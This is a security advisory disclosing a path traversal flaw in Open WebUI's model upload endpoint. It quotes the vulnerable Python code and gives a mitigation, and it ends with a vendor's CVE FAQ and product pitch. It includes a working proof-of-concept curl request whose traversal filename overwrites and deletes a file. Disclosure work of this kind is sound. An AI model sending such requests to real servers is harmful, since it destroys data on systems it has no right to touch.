CVE-2026-44565

** CONFIDENTIAL **

Vulnerability Disclosure Analysis Documentation

Vulnerability Details

1. Discoverer: Taylor Pennington of KoreLogic, Inc.
2. Date Submitted: June 11, 2024
3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal
4. High-level Summary:
   Attacker controlled files can be uploaded to arbitrary locations on the web
   server's filesystem by abusing a path traversal vulnerability. After the
   file is written, it is deleted.
5. Affected Vendor: Open WebUI
6. Affected Product(s): Open WebUI (Formerly Ollama WebUI)
7. Affected Version(s): 0.1.105
8. Platform/OS: Debian GNU/Linux 12 (bookworm)
9. Vector: HTTP web interface
10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
11. Technical Analysis:

When attaching files to a prompt by clicking the plus sign (+) on the left of
the message input box when using the Open WebUI HTTP interface, the file is
uploaded to a static upload directory. If the file is an audio file
it will be sent to a second API that will attempt to transcribe it.

The name of the file is derived from the original HTTP upload request and is
not validated or sanitized. This allows for users to upload files with names
containing dot-segments in the file path and traverse out of the intended
uploads directory. Effectively, users can upload files anywhere on the
filesystem the user running the web server has permission.

This can be visualized by examining the python code for the
"/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):

def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None):
 if url_idx == None:
     url_idx = 0
 ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]

 file_path = f"{UPLOAD_DIR}/{file.filename}"

 # Save file in chunks
 with open(file_path, "wb+") as f:
     for chunk in file.file:
         f.write(chunk)

 def file_process_stream():
     nonlocal ollama_url
     total_size = os.path.getsize(file_path)
     chunk_size = 1024 * 1024
     try:
         with open(file_path, "rb") as f:
             total = 0
             done = False

             while not done:
                 chunk = f.read(chunk_size)
                 if not chunk:
                     done = True
                     continue

                 total += len(chunk)
                 progress = round((total / total_size) * 100, 2)

                 res = {
                     "progress": progress,
                     "total": total_size,
                     "completed": total,
                 }
                 yield f"data: {json.dumps(res)}\n\n"

             if done:
                 f.seek(0)
                 hashed = calculate_sha256(f)
                 f.seek(0)

                 url = f"{ollama_url}/api/blobs/sha256:{hashed}"
                 response = requests.post(url, data=f)

                 if response.ok:
                     res = {
                         "done": done,
                         "blob": f"sha256:{hashed}",
                         "name": file.filename,
                     }
                     os.remove(file_path)
                     yield f"data: {json.dumps(res)}\n\n"
                 else:
                     raise Exception(
                         "Ollama: Could not create blob, Please try again."
                     )

     except Exception as e:
         res = {"error": str(e)}
         yield f"data: {json.dumps(res)}\n\n"

 return StreamingResponse(file_process_stream(), media_type="text/event-stream")
 ```

 The model is temporarily written to disk in chunks and then the data is sent to
 another internal API. Once the file is successfully passed, the file is removed
 from the disk. Note line 1116, `os.remove(file_path)`.

 This has an affect of stomping on and ultimately deleting any file that the user
 of the open-webui service has permissions over.

 It may be possible to continue sending chunks to the file slowly and create
 a race condition however, this was not validated.

12. Proof-of-Concept:

 First, create a file under the `/tmp` directory named `DELETE_ME` while
 logged in as the user account of the web application or chown the file to be
 owned by the open-webui user.

 ```
 # su ollama
 # touch /tmp/DELETE_ME
 ```

Execute the following cURL command after replacing the exported `JWT` value for a valid user session:

 ```
 export JWT="JWT_HERE"; curl -s -X $'POST' \
 -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
 --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETE_ME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \
 $'https://openwebui.example.com/ollama/models/upload'
 ```

 Verify that `/tmp/DELETE_ME` has been deleted.

13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: 

filename = os.path.basename(file.filename)
file_path = f"{UPLOAD_DIR}/{filename}"
```

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-44565 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.10); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44565? CVE-2026-44565 is a high-severity path traversal vulnerability in open-webui (pip), affecting versions <= 0.6.9. It is fixed in 0.6.10. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-44565? CVE-2026-44565 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-44565? open-webui (pip) versions <= 0.6.9 is affected.
4. Is there a fix for CVE-2026-44565? Yes. CVE-2026-44565 is fixed in 0.6.10. Upgrade to this version or later.
5. Is CVE-2026-44565 exploitable, and should I be worried? Whether CVE-2026-44565 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44565 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44565? Upgrade open-webui to 0.6.10 or later.